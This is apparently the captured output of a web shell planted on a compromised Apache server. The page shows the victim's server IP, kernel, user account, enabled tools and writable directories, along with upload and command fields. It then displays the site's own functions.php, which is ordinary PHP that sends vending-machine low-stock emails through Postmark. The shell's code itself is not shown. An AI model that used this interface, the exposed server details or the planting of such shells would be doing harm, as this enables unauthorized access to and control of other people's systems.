403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/rbcvm.ca/trevorpeter-xvend/vm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rbcvm.ca/trevorpeter-xvend/vm/functions.php
<?php

// Postmark
require_once($cfg['server_path'].'/vendor/autoload.php');
use Postmark\PostmarkClient;
use Postmark\Models\PostmarkException;

function getCSS($lib) {
	global $cfg;
	
	$lib_version = explode("?",$lib);
	$lib = $lib_version[0];
	$version = isset($lib_version[1]) ? "?".$lib_version[1] : "";
	
	$output = '<link href="'.$cfg['url'].'view/css/'.$lib.'.css'.$version.'" rel="stylesheet" type="text/css" />';
	echo ($output."\n\t\t");
}

function getJS($lib, $hosted) {
	global $cfg;
	if ($hosted == 1) {
		$lib_version = explode("?",$lib);
		$lib = $lib_version[0];
		$version = isset($lib_version[1]) ? "?".$lib_version[1] : "";

		$output = '<script src="'.$cfg['url'].'view/js/'.$lib.'.js'.$version.'" type="text/javascript"></script>';
	} else {
		$output = '<script src="'.$lib.'" type="text/javascript"></script>';
	}
	echo ($output."\n\t\t");
}

function getModal($mod) {
	global $cfg;
	global $userType;
	include ($cfg['server_path'].'view/include/modal-'.$mod.'.php');
}

function trim_value(&$value) {
	$value = trim($value);
}

function requireToVar($file){
	ob_start();
	require($file);
	return ob_get_clean();
}

function send_recipient_email($email, $machine, $amount, $date) {
	
	global $cfg;
	
	try {	
		
		$template_id = $cfg['lowstock_template'];
		$tag = $cfg['postark_tag'].$machine;
		$client = new PostmarkClient($cfg['postmark_client_token']);
		
		$post_data = [
			"machine" 	=> $machine,
			"amount"	=> $amount,
			"date"		=> $date
		];
		$sendResult = $client->sendEmailWithTemplate(
			"info@wmkr.ca",					// Sender
			$email, 						// Recipient
			$template_id,
			$post_data,
			true,							//$inlineCss = true
			$tag,							//$tag = NULL
			true,							//$trackOpens = true
			NULL,							//$replyTo = NULL
			NULL,							//$cc = NULL
			NULL,							//$bcc = NULL
			NULL,							//$headers = NULL
			NULL,							//$attachments = NULL
			"HtmlAndText"					//$trackLinks = NULL
		);
		//$sendResult->message;
		
	} catch(PostmarkException $ex) {
		// If client is able to communicate with the API in a timely fashion,
		// but the message data is invalid, or there's a server error,
		// a PostmarkException can be thrown.
		// echo $ex->httpStatusCode . '<br>';
		// echo $ex->message . '<br>';
		// echo $ex->postmarkApiErrorCode;
/*
		$return = array(
			"result" 				=> "PostMark Error",
			"httpStatusCode"		=> $ex->httpStatusCode,
			"message"				=> $ex->message,
			"postmarkApiErrorCode"	=> $ex->postmarkApiErrorCode,
			"all_data"				=> (array) $ex
		);
		return $return;
*/

	} catch(Exception $generalException) {
		// A general exception is thrown if the API
		// was unreachable or times out.
		// echo $generalException->getMessage();
/*
		$return = array(
			"result" 				=> "General Error",
			"httpStatusCode"		=> "N/A",
			"message"				=> $generalException->getMessage(),
			"postmarkApiErrorCode"	=> "N/A",
			"all_data"				=> (array) $generalException
		);
		return $return;
*/
	}

/*
	$return = array(
		"result" 	=> "PostMark Success",
		"message"	=> $sendResult->message,
		"messageid"	=> $sendResult->messageid,
		"all_data"	=> $sendResult
	);
		
	return $return;
*/
	
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit